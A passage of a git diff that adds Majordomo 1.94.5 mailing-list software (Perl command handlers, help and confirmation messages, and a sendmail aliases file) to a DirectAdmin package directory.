$clean_list, + $filedir_suffix, $filename); + if (defined($clean_file)) { + # the file name was OK and exists + # see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + if ($ftpmail_location eq "") {$ftpmail_location = $whereami; }; + &sendmail(FTPMAILMSG, $ftpmail_address, "get $filename", + $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "get $filename\n"; + close (FTPMAILMSG); + print REPLY "'get' request forwarded to $ftpmail_address\n"; + } else { + # file handling is done locally. + if (&lopen(GETFILE, " ", "$clean_file")) { + # Set up the sendmail process to send the file + &sendmail(GETFILEMSG, $reply_to, + "Majordomo file: list '$clean_list' file '$filename'"); + while () { + print GETFILEMSG $_; + } + # close (and thereby send) the file + close(GETFILEMSG); + &lclose(GETFILE); + print REPLY <<"EOM"; +List '$clean_list' file '$filename' +is being sent as a separate message. +EOM + } else { + print REPLY + "#### No such file '$filename' for list '$clean_list'\n"; + } + } + } else { + &squawk("$sm: invalid file '$filename' for list '$clean_list'."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("get $clean_list $filename"); +} + +sub do_index { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "index"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + if ( !$approved + && $config_opts{$clean_list, 'index_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("index", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do an 'index'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK; see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + &sendmail(FTPMAILMSG, $ftpmail_address, "index $clean_list", $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "dir\n"; + close (FTPMAILMSG); + print REPLY "'index' request forwarded to $ftpmail_address\n"; + } else { + if (-d "$filedir/$clean_list$filedir_suffix") { + if (chdir "$filedir/$clean_list$filedir_suffix") { + open(INDEX,"$index_command|") + || &abort("Can't fork to run $index_command, $!"); + while () { + print REPLY $_; + } + unless (close INDEX) { + &bitch("Index command $index_command failed.\n$! $?"); + &squawk("$sm: index command failed"); + } + } + else { + &bitch("Cannot chdir to $filedir/$clean_list$filedir_suffix to build index\n$!"); + &squawk("$sm: index command failed"); + } + } else { + print REPLY "#### No files available for $clean_list.\n"; + } + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("index $list"); + chdir("$homedir"); +} + +sub do_help { + print STDERR "$0: do_help()\n" if $DEBUG; + + local($list4help) = $majordomo_request ? "[]" : ""; + + local($listrequest) = " or to \"-request\@$whereami\".\n"; + $listrequest .= "\nThe parameter is only optional if the "; + $listrequest .= "message is sent to an address\nof the form "; + $listrequest .= "\"-request\@$whereami\"."; + + $listrequest = "." unless $majordomo_request; + + print REPLY <<"EOM"; + +This help message is being sent to you from the Majordomo mailing list +management system at $whoami. + +This is version $majordomo_version of Majordomo. + +If you're familiar with mail servers, an advanced user's summary of +Majordomo's commands appears at the end of this message. + +Majordomo is an automated system which allows users to subscribe +and unsubscribe to mailing lists, and to retrieve files from list +archives. + +You can interact with the Majordomo software by sending it commands +in the body of mail messages addressed to "$whoami". +Please do not put your commands on the subject line; Majordomo does +not process commands in the subject line. + +You may put multiple Majordomo commands in the same mail message. +Put each command on a line by itself. + +If you use a "signature block" at the end of your mail, Majordomo may +mistakenly believe each line of your message is a command; you will +then receive spurious error messages. To keep this from happening, +either put a line starting with a hyphen ("-") before your signature, +or put a line with just the word + + end + +on it in the same place. This will stop the Majordomo software from +processing your signature as bad commands. + +Here are some of the things you can do using Majordomo: + +I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM + +To get a list of publicly-available mailing lists on this system, put the +following line in the body of your mail message to $whoami: + + lists + +Each line will contain the name of a mailing list and a brief description +of the list. + +To get more information about a particular list, use the "info" command, +supplying the name of the list. For example, if the name of the list +about which you wish information is "demo-list", you would put the line + + info demo-list + +in the body of the mail message. + +II. SUBSCRIBING TO A LIST + +Once you've determined that you wish to subscribe to one or more lists on +this system, you can send commands to Majordomo to have it add you to the +list, so you can begin receiving mailings. + +To receive list mail at the address from which you're sending your mail, +simply say "subscribe" followed by the list's name: + + subscribe demo-list + +If for some reason you wish to have the mailings go to a different address +(a friend's address, a specific other system on which you have an account, +or an address which is more correct than the one that automatically appears +in the "From:" header on the mail you send), you would add that address to +the command. For instance, if you're sending a request from your work +account, but wish to receive "demo-list" mail at your personal account +(for which we will use "jqpublic\@my-isp.com" as an example), you'd put +the line + + subscribe demo-list jqpublic\@my-isp.com + +in the mail message body. + +Based on configuration decisions made by the list owners, you may be added +to the mailing list automatically. You may also receive notification +that an authorization key is required for subscription. Another message +will be sent to the address to be subscribed (which may or may not be the +same as yours) containing the key, and directing the user to send a +command found in that message back to $whoami. (This can be +a bit of extra hassle, but it helps keep you from being swamped in extra +email by someone who forged requests from your address.) You may also +get a message that your subscription is being forwarded to the list owner +for approval; some lists have waiting lists, or policies about who may +subscribe. If your request is forwarded for approval, the list owner +should contact you soon after your request. + +Upon subscribing, you should receive an introductory message, containing +list policies and features. Save this message for future reference; it +will also contain exact directions for unsubscribing. If you lose the +intro mail and would like another copy of the policies, send this message +to $whoami: + + intro demo-list + +(substituting, of course, the real name of your list for "demo-list"). + +III. UNSUBSCRIBING FROM MAILING LISTS + +Your original intro message contains the exact command which should be +used to remove your address from the list. However, in most cases, you +may simply send the command "unsubscribe" followed by the list name: + + unsubscribe demo-list + +(This command may fail if your provider has changed the way your +address is shown in your mail.) + +To remove an address other than the one from which you're sending +the request, give that address in the command: + + unsubscribe demo-list jqpublic\@my-isp.com + +In either of these cases, you can tell $whoami to remove +the address in question from all lists on this server by using "*" +in place of the list name: + + unsubscribe * + unsubscribe * jqpublic\@my-isp.com + +IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED + +To find the lists to which your address is subscribed, send this command +in the body of a mail message to $whoami: + + which + +You can look for other addresses, or parts of an address, by specifying +the text for which Majordomo should search. For instance, to find which +users at my-isp.com are subscribed to which lists, you might send the +command + + which my-isp.com + +Note that many list owners completely or fully disable the "which" +command, considering it a privacy violation. + +V. FINDING OUT WHO'S SUBSCRIBED TO A LIST + +To get a list of the addresses on a particular list, you may use the +"who" command, followed by the name of the list: + + who demo-list + +Note that many list owners allow only a list's subscribers to use the +"who" command, or disable it completely, believing it to be a privacy +violation. + +VI. RETRIEVING FILES FROM A LIST'S ARCHIVES + +Many list owners keep archives of files associated with a list. These +may include: +- back issues of the list +- help files, user profiles, and other documents associated with the list +- daily, monthly, or yearly archives for the list + +To find out if a list has any files associated with it, use the "index" +command: + + index demo-list + +If you see files in which you're interested, you may retrieve them by +using the "get" command and specifying the list name and archive filename. +For instance, to retrieve the files called "profile.form" (presumably a +form to fill out with your profile) and "demo-list.9611" (presumably the +messages posted to the list in November 1996), you would put the lines + + get demo-list profile.form + get demo-list demo-list.9611 + +in your mail to $whoami. + +VII. GETTING MORE HELP + +To contact a human site manager, send mail to $whoami_owner. +To contact the owner of a specific list, send mail to that list's +approval address, which is formed by adding "-approval" to the user-name +portion of the list's address. For instance, to contact the list owner +for demo-list\@$whereami, you would send mail to demo-list-approval\@$whereami. + +To get another copy of this help message, send mail to $whoami +with a line saying + + help + +in the message body. + +VIII. COMMAND SUMMARY FOR ADVANCED USERS + +In the description below items contained in []'s are optional. When +providing the item, do not include the []'s around it. Items in angle +brackets, such as
    , are meta-symbols that should be replaced +by appropriate text without the angle brackets. + +It understands the following commands: + + subscribe $list4help [
    ] + Subscribe yourself (or
    if specified) to the named . + + unsubscribe $list4help [
    ] + Unsubscribe yourself (or
    if specified) from the named . + "unsubscribe *" will remove you (or
    ) from all lists. This + _may not_ work if you have subscribed using multiple addresses. + + get $list4help + Get a file related to . + + index $list4help + Return an index of files you can "get" for . + + which [
    ] + Find out which lists you (or
    if specified) are on. + + who $list4help + Find out who is on the named . + + info $list4help + Retrieve the general introductory information for the named . + + intro $list4help + Retrieve the introductory message sent to new users. Non-subscribers + may not be able to retrieve this. + + lists + Show the lists served by this Majordomo server. + + help + Retrieve this message. + + end + Stop processing commands (useful if your mailer adds a signature). + +Commands should be sent in the body of an email message to +"$whoami"$listrequest Multiple commands can be processed provided +each occurs on a separate line. + +Commands in the "Subject:" line are NOT processed. + +If you have any questions or problems, please contact +"$whoami_owner". + +EOM +#' + print STDERR "$0: do_help(): finished writing help text, now logging.\n" if $DEBUG; + + &log("help"); + + print STDERR "$0: do_help(): done\n" if $DEBUG; +} + +sub send_confirm { + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local($cookie) = &gen_cookie($cmd, $list, $subscriber); + local(*AUTH); + + &sendmail(AUTH, $subscriber, "Confirmation for $cmd $list"); + + print AUTH <<"EOM"; +Someone (possibly you) has requested that your email address be added +to or deleted from the mailing list "$list\@$whereami". + +If you really want this action to be taken, please send the following +commands (exactly as shown) back to "$whoami": + + auth $cookie $cmd $list $subscriber + +If you do not want this action to be taken, simply ignore this message +and the request will be disregarded. + +If your mailer will not allow you to send the entire command as a single +line, you may split it using backslashes, like so: + + auth $cookie $cmd $list \\ + $subscriber + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + +Thanks! + +$whoami +EOM + close(AUTH); + + print REPLY <<"EOM"; +**** Your request to $whoami: +**** +**** $cmd $list $subscriber +**** +**** must be authenticated. To accomplish this, another request must be +**** sent in with an authorization key, which has been sent to: +**** $subscriber +**** +**** If the message is not received, there is generally a problem with +**** the address. Before reporting this as a problem, please note the +**** following: +**** +**** You only need to give an address to the subscribe command if you want +**** to receive list mail at a different address from where you sent the +**** command. Otherwise you can simply omit it. +**** +**** If you do give an address to the subscribe command, it must be a legal +**** address. It should not consist solely of your name. The address must +**** point to a machine that is reachable from the list server. +**** +**** If you have any questions about the policy of the list owner, please +**** contact "$list-approval\@$whereami". +**** +**** Thanks! +**** +**** $whoami +EOM + &log("send_confirm $cmd $list $subscriber"); +} + + + +# Send a request for subscribe or unsubscribe approval to a list owner +# Usage: &request_approval($cmd, $list, @subscriber) +sub request_approval { + # Get the arguments + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local(*APPROVE); + + # open a sendmail process for the approval request + &sendmail(APPROVE, "$list-approval\@$whereami", "APPROVE $list"); + + # Generate the approval request + print APPROVE <<"EOM"; +$reply_to requests that you approve the following: + + $cmd $list $subscriber + +If you approve, please send a message such as the following back to +$whoami (with the appropriate PASSWORD filled in, of course): + + approve PASSWORD \\ + $cmd $list \\ + $subscriber + +[The above is broken into multiple lines to avoid mail reader linewrap +problems. Commands can be on one line, or multi-line with '\\' escapes.] + +If you disapprove, do nothing. + + +Thanks! + +$whoami +EOM + # close (and thereby send) the approval request + close(APPROVE); + + # tell the requestor that their request has been forwarded for approval. + print REPLY <<"EOM"; +Your request to $whoami: + + $cmd $list $subscriber + +has been forwarded to the owner of the "$list" list for approval. +This could be for any of several reasons: + + You might have asked to subscribe to a "closed" list, where all new + additions must be approved by the list owner. + + You might have asked to subscribe or unsubscribe an address other than + the one that appears in the headers of your mail message. + +When the list owner approves your request, you will be notified. + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + + +Thanks! + +$whoami +EOM + + &log("request $cmd $list $subscriber"); +} + +# We are done processing the request; append help if needed, send the reply +# to the requestor, clean up, and exit + +sub done { + # append help, if needed. + if ($count == 0) { + print REPLY "**** No valid commands found.\n"; + print REPLY "**** Commands must be in message BODY, not in HEADER.\n\n"; + } + if ($needs_help || ($count == 0)) { + print REPLY "**** Help for $whoami:\n\n"; + &do_help(); + } + + # close (and thereby send) the reply + close(REPLY); + + # good bye! + exit(0); +} + +# Welcome a new subscriber to the list, and tell the list owner of his/her +# existance. +sub welcome { + local($list) = shift; + local($subscriber) = join(" ", @_); + + # welcome/intro message controlled by 'welcome=yes/no' + if ( &cf_ck_bool($list,"welcome")) { + + # Set up the sendmail process to welcome the new subscriber + &set_mail_sender($config_opts{$list,"sender"} . "\@" . $whereami); + &sendmail(MSG, $subscriber, "Welcome to $list"); + &set_mail_sender($whoami_owner); + + print MSG "Welcome to the $list mailing list!\n\n"; + + print MSG "Please save this message for future reference. Thank you.\n"; + + if ( $majordomo_request ) { + print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +send the following command in email to +\<${clean_list}-request\@$whereami\>: + + unsubscribe + +Or you can send mail to \<$whoami\> with the following +EOM + +} else { +print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +you can send mail to \<$whoami\> with the following +EOM +} + +print MSG <<"EOM"; +command in the body of your email message: + + unsubscribe $list + +or from another account, besides $subscriber: + + unsubscribe $list $subscriber + +EOM +print MSG <<"EOM"; +If you ever need to get in contact with the owner of the list, +(if you have trouble unsubscribing, or have questions about the +list itself) send email to \ . +This is the general rule for most mailing lists when you need +to contact a human. + +EOM + + # send them the info for the list, if it's available + # the .intro file has information for subscribers only + if (&lopen(INFO, "", "$listdir/$list.intro")) { + while () { + print MSG $_; + } + &lclose(INFO); + } elsif (&lopen(INFO, "", "$listdir/$list.info")) { + print MSG <<"EOM"; + Here's the general information for the list you've subscribed to, + in case you don't already have it: + +EOM +#'; + while () { + print MSG $_; + } + &lclose(INFO); + } else { + print MSG "#### No info available for $list.\n"; + } + + # close (and thereby send) the welcome message to the subscriber + close(MSG); + + } + + # tell the list owner of the new subscriber (optional: announcements=yes/no) + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(NOTICE, "$list-approval\@$whereami", "SUBSCRIBE $list $subscriber"); + print NOTICE "$subscriber has been added to $list.\n"; + print NOTICE "No action is required on your part.\n"; + close(NOTICE); + } +} + +# complain about a user screwup, and note that the user needs help appended +# to the reply +sub squawk { + print REPLY "**** @_\n"; + $needs_help++; +} + +# check to see if the subscriber is a LISTSERV-style "real name", not an +# address. If it contains white space and no routing characters ([!@%:]), +# then it's probably not an address. If it's valid, generate the proper +# request for approval; if it's not, bitch to the user. + +# if a fourth parameter is added to the check_and_request call, only +# check the subscribe request for a valid address. This allows +# the same routine to be used for checking when handling an auto list. + +sub check_and_request { + local($request,$clean_list, $subscriber, $do_request) = @_; + + # check to see if the subscriber looks like a LISTSERV-style + # "real name", not an address; if so, send a message to the + # requestor, and if not, ask the list owner for approval + local($addr) = &valid_addr($subscriber); + if ($addr =~ /\s/ && $addr !~ /[!%\@:]/) { + # yup, looks like a LISTSERV-style request to me. + &squawk("$request: LISTSERV-style request failed"); + print REPLY <<"EOM"; +This looks like a BITNET LISTSERV style '$request' request, because +the part after the list name doesn't look like an email address; it looks +like a person's name. Majordomo is not LISTSERV. In a Majordomo '$request' +request, the part after the list name is optional, but if it's there, it +should be an email address, NOT a person's real name. +EOM + + return(0); + } else { + return(1) if defined($do_request); + &request_approval($request, $clean_list, $subscriber); + } +} + +sub gen_cookie { + local($combined) = join('/', $cookie_seed ? $cookie_seed : $homedir, @_); + local($cookie) = 0; + local($i, $carry); + + # Because of backslashing and all of the splitting on whitespace and + # joining that goes on, we need to ignore whitespace. + $combined =~ s/\s//g; + + for ($i = 0; $i < length($combined); $i++) { + $cookie ^= ord(substr($combined, $i)); + $carry = ($cookie >> 28) & 0xf; + $cookie <<= 4; + $cookie |= $carry; + } + return (sprintf("%08x", $cookie)); +} + + +# Extracts the list name from the argument list to the do_* functions +# or uses the default list name, depending on invocation options and +# available arguments. Returns the raw list name, the validated list +# name, and the remaining argument list. + +sub get_listname { + local($request, $required, @args) = @_; + local($raw_list, $clean_list); + + if (defined($deflist)) { # -l option specified + if (scalar(@args) <= $required) { # minimal arguments, use default list + if ( !( ($raw_list = $deflist) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + $raw_list = shift(@args) || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + elsif ( !( ($raw_list = shift(@args)) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + unshift(@args, $raw_list); # Not a list name, put it back. + $raw_list = $deflist || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + + else { + $raw_list = shift(@args); + $clean_list = &valid_list($listdir, $raw_list); + } + + return ($raw_list, $clean_list, @args); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.aliases b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.aliases new file mode 100644 index 0000000..c827b89 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.aliases @@ -0,0 +1,25 @@ +# +# The aliases file for majordomo. This works best if you tell sendmail about it +# in your sendmail.cf file (either /usr/lib/sendmail.cf or /etc/sendmail.cf). +# +# You need to be running a recent (8.6, at least) version of sendmail; one that +# groks multiple alias files. +# +# Look for a line that says "OA/usr/lib/aliases" or somesuch, and add a line below +# it, w/o the leading # sign, that looks like this: +# +# OA/usr/test/majordomo/majordomo.aliases +# +# After doing this, you should refreeze the sendmail cf via '/usr/lib/sendmail -bz' and +# restart sendmail. +# + +majordomo: "|/usr/test/majordomo-1.94.5/wrapper majordomo" +majordomo-owner: you +owner-majordomo: you + +test: "|/usr/test/majordomo-1.94.5/wrapper resend -l test test-list" +test-list: :include:/usr/test/majordomo-1.94.5/lists/test +owner-test: you +test-owner: you +test-request: you diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.orig b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.orig new file mode 100644 index 0000000..9fd9ac4 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.orig @@ -0,0 +1,1951 @@ +#!/bin/perl +# $Modified: Thu Jan 13 18:29:15 2000 by cwilson $ + +# majordomo: a person who speaks, makes arrangements, or takes charge +# for another. +# +# Copyright 1992, D. Brent Chapman. See the Majordomo license agreement for +# usage rights. +# +# $Source: /sources/cvsrepos/majordomo/majordomo,v $ +# $Revision: 1.95 $ +# $Date: 2000/01/13 17:29:31 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +# until we run suid... +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_majordomo';#'; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +while ($ARGV[0]) { # parse for config file or default list + if ($ARGV[0] =~ /^-C$/i) { # sendmail v8 clobbers case + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } elsif ($ARGV[0] eq "-l") { + $deflist = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } else { + die "Unknown argument $ARGV[0]\n"; + } +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir") || die "chdir to $homedir failed, $!\n"; + +# If standard error is not attached to a terminal, redirect it to a file. +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/majordomo.debug"); +} + +print STDERR "$0: starting\n" if $DEBUG; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "ctime.pl"; # To get MoY definitions for month abbrevs +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking +require "config_parse.pl"; # functions to parse the config files + +print STDERR "$0: requires succeeded. Setting defaults.\n" if $DEBUG; + +# Here's where the fun begins... +# check to see if the cf file is valid +die("\$listdir not defined. Is majordomo.cf being included correctly?") + if !defined($listdir); + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + + +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + +$majordomo_dont_reply = $majordomo_dont_reply + || '(mailer-daemon|uucp|listserv|majordomo)\@'; + +# where do we look for files, by default? +if (!defined($filedir)) { + $filedir = $listdir; +} +if (!defined($filedir_suffix)) { + $filedir_suffix = ".archive"; +} + +# what command do we use to generate an index, by default? +if (!defined($index_command)) { + $index_command = "/bin/ls -lRL"; +} + +# where are we for FTP, by default? (note: only set this if $ftpmail is set) +if (defined($ftpmail_address)) { + if (!defined($ftpmail_location)) { + $ftpmail_location = $whereami; + } +} + +print STDERR "$0: done with defaults, parsing mail header.\n" if $DEBUG; + +# Parse the mail header of the message, so we can figure out who to reply to +&ParseMailHeader(STDIN, *hdrs); + +# Now we try to figure out who to send the replies to. +# $reply_to also becomes the default target for subscribe/unsubscribe +$reply_to = &RetMailAddr(*hdrs); + +print STDERR "$0: setting log file.\n" if $DEBUG; + +# Set up the log file +&set_log($log, $whereami, "majordomo", $reply_to); + +# if somebody has set $reply_to to be our own input address, there's a problem. +if (&addr_match($reply_to, $whoami)) { + &abort( "$whoami punting to avoid mail loop.\n"); + exit 0; +} + +if (! &valid_addr($reply_to)) { + &abort( "$whoami: $reply_to is not a valid return address.\n"); + exit 2; +} + +# robots should not reply to other robots... +if ($reply_to =~ m/$majordomo_dont_reply/i) { + &abort( "$whoami: not replying to $1 to avoid mail loop.\n"); + exit 0; +} + +if ($return_subject && defined $hdrs{'subject'}) { + $sub_addin = ": " . substr($hdrs{'subject'}, 0, 40); + } else { + $sub_addin = ''; + } + +print STDERR "$0: some quick sanity checks on permissions.\n" if $DEBUG; + +# do some sanity checking on permissions +# This bails out via abort if needed. +# +&check_permissions; + +print STDERR "$0: opening sendmail process.\n" if $DEBUG; + +# Open the sendmail process to send the results back to the requestor +&sendmail(REPLY, $reply_to, "Majordomo results$sub_addin"); + +select((select(REPLY), $| = 1)[0]); + +print STDERR "$0: processing commands in message body.\n" if $DEBUG; + +# Process the rest of the message as commands +while (<>) { + $approved = 0; # all requests start as un-approved + $quietnonmember = 0; # show non-member on unsubscribe + while ( /\\\s*$/ ) { # if the last non-whitespace + &chop_nl($_); # character is '\', chop the nl + s/\\\s*$/ /; # replace \ with space char + $_ .= scalar(<>); # append the next line + } + print REPLY ">>>> $_"; # echo the line we are processing + $_ = &chop_nl($_); # strip any trailing newline + s/^\s*#.*//; # strip comments + s/^\s+//; # strip leading whitespace + s/\s+$//; # strip trailing whitespace + s/\\ /\001/g; # protected escaped whitepace + if (/^begin\s+\d+\s+\S+$/) { # bail on MSMail uuencode attachments + print REPLY "ATTACHMENT DETECTED; COMMAND PROCESSING TERMINATED.\n"; + last; + } + + @parts = split(" "); # split into component parts + grep(s/\001/ /, @parts); # replace protected whitespace with + # whitespace + $cmd = shift(@parts); # isolate the command + $cmd =~ tr/A-Z/a-z/; # downcase the command + if ($cmd eq "") { next; } # skip blank lines + # figure out what to do and do it + # the "do_*" routines implement specific Majordomo commands. + # they are all passed the same arguments: @parts. + $count++; # assume it's a valid command, so count it. + if ($cmd eq "end") { print REPLY "END OF COMMANDS\n"; last; } + elsif ($cmd =~ /^-/ && + (!defined($hdrs{'content-type'}) || + $hdrs{'content-type'} !~ /multipart/i)) + { + # treat lines beginning with "-" as END only if this is NOT a MIME + # multipart msg. MIME messages should have "Content-Type:" + # headers, and multipart messages should have the string + # "multipart" somewhere in that header. If we just look for + # Content-Type: we trap messages with Content-Type: text/plain, + # which is pretty common these days. + print REPLY "END OF COMMANDS\n"; + last; + } + elsif ($cmd eq "subscribe") { &do_subscribe(@parts); } + elsif ($cmd eq "unsubscribe") { &do_unsubscribe(@parts); } + elsif ($cmd eq "signoff") { &do_unsubscribe(@parts); } + elsif ($cmd eq "cancel") { &do_unsubscribe(@parts); } + elsif ($cmd eq "approve") { &do_approve(@parts); } + elsif ($cmd eq "passwd") { &do_passwd(@parts); } + elsif ($cmd eq "which") { &do_which(@parts); } + elsif ($cmd eq "who") { &do_who(@parts); } + elsif ($cmd eq "info") { &do_info(@parts); } + elsif ($cmd eq "newinfo") { &do_newinfo(@parts); } + elsif ($cmd eq "intro") { &do_intro(@parts); } + elsif ($cmd eq "newintro") { &do_newintro(@parts); } + elsif ($cmd eq "config") { &do_config(@parts); } + elsif ($cmd eq "newconfig") { &do_newconfig(@parts); } + elsif ($cmd eq "writeconfig") { &do_writeconfig(@parts); } + elsif ($cmd eq "mkdigest") { &do_mkdigest(@parts); } + elsif ($cmd eq "lists") { &do_lists(@parts); } + elsif ($cmd eq "help") { &do_help(@parts); } + elsif ($cmd eq "get") { &do_get(@parts); } + elsif ($cmd eq "index") { &do_index(@parts); } + elsif ($cmd eq "auth") { &do_auth(@parts); } + else { + &squawk("Command '$cmd' not recognized."); + $count--; # if we get to here, it wasn't really a command + } +} + +# we've processed all the commands; let's clean up and go home +&done(); + +# Everything from here on down is subroutine definitions + +sub do_subscribe { + # figure out what list we are trying to subscribe to + # and check to see if the list is valid + local($sm) = "subscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to subscribe, and check that it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber, $clean_list)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + local($FLAGIT); + if ($clean_list ne "") { + # The list is valid + # parse its config file if needed + + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($sub_policy) = $config_opts{$clean_list,"subscribe_policy"}; + + # check to see if this is a list with a 'confirm' subscribe policy, + # and check the cookie if so. + # + if (! $approved + && (($sub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("subscribe", $clean_list, $subscriber); + return 0; + } + + + # Check to see if this request is approved, or if the list is an + # auto-approve list, or if the list is an open list and the + # subscriber is the person making the request + if ($approved + || ($sub_policy =~ /auto/i && + # I don't think this check is doing the right thing. Chan 95/10/19 + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + || (($sub_policy !~ /closed/ ) + && &addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) + ) { + # Either the request is approved, or the list is open and the + # subscriber is the requester, so check to see if they're + # already on the list, and if not, add them to the list. + # Lock and open the list first, even though &is_list_member() + # will reopen it read-only, to prevent a race condition + &lopen(LIST, ">>", "$listdir/$clean_list") + || &abort("Can't append to $listdir/$clean_list: $!"); + if (&is_list_member($subscriber, $listdir, $clean_list)) { + print REPLY "**** Address already subscribed to $clean_list\n"; + &log("DUPLICATE subscribe $clean_list $subscriber"); + } else { + if ( &cf_ck_bool($clean_list,"strip") ) { + print LIST &valid_addr($subscriber), "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } else { + print LIST $subscriber, "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } + if (defined $deflist) { + print REPLY "Succeeded (to list $deflist).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("subscribe $clean_list $subscriber"); + # Send the new subscriber a welcoming message, and + # a notice of the new subscriber to the list owner + if ( &cf_ck_bool($clean_list,"strip") ) { + local($clean_sub) = &valid_addr($subscriber); + &welcome($clean_list, $clean_sub); + } else { + &welcome($clean_list, $subscriber); + } + } + &lclose(LIST) || &abort("Error closing $listdir/$clean_list: $!"); + } else { + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_unsubscribe_all { + local(@parts) = @_; + local($list); + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = grep(!/[^-\w]/, readdir(RD_DIR)); # skip non-list files (*.info, etc.) + closedir(RD_DIR); + + $quietnonmember=1; + + foreach $list (sort @lists) { + print REPLY "Doing 'unsubscribe $list ", join(' ', @parts), "'.\n" + if $DEBUG; + &do_unsubscribe($list, @parts); + } +} + +sub do_unsubscribe { + if ($_[0] =~ /^\*$/) { + shift; + &do_unsubscribe_all(@_); + return 0; + } + local($match_count) = 0; + local($match_length); + # figure out what list we are trying to unsubscribe from + # and check to see if the list is valid + local($sm) = "unsubscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to unsubscribe, and check it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + print STDERR "do_unsubscribe: $subscriber from $clean_list\n" if $DEBUG; + + + if ($clean_list ne "") { + # The list is valid. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($unsub_policy) = $config_opts{$clean_list,"unsubscribe_policy"}; + + # Check to see if the subscriber really is subscribed to the list. + if (! &is_list_member($subscriber, $listdir, $clean_list)) { + unless ($quietnonmember) { + print REPLY <<"EOM"; +**** unsubscribe: '$subscriber' is not a member of list '$list'. +**** contact "$list-approval\@$whereami" if you need help. +EOM + } + return 0; + } + + print STDERR "do_unsubscribe: valid list, valid subscriber.\n" + if 